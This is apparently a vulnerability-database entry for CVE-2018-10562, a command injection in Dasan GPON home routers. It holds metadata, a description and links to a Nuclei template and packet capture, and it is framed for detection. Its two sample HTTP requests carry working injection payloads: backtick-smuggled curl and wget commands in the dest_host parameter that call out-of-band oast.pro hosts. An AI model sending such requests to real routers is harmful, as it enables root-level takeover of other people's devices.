🔙 목록으로 돌아가기

CVE-2018-10562: Dasan GPON Devices - Remote Code Execution

TitleDasan GPON Devices - Remote Code Execution
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.
RemediationApply the latest firmware update provided by the vendor to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94028
CVE IDCVE-2018-10562
CWE IDCWE-78
Tags cve cve2018 dasan gpon rce oast kev dasannetworks vkev vuln

🔍 Vulnerability Description

Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it’s quite simple to execute commands and retrieve their output.

🌐 HTTP Request

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Content-Length: 220
Accept-Encoding: gzip

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//d5jpnlple0o4n7388dogb91ztnpj4bnr8.oast.pro+-H+'User-Agent%3a+gYPic7'`;busybox wget http://d5jpnlple0o4n7388dog9dyyq7rajcfqo.oast.pro&ipv=0
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Connection: close
Content-Length: 204
Accept-Encoding: gzip

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//d5jpnlple0o4n7388dogowi7o85k4fbnh.oast.pro+-H+'User-Agent%3a+gYPic7'`;wget http://d5jpnlple0o4n7388dog71oxpwnyfcqnw.oast.pro&ipv=0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10562.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10562.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A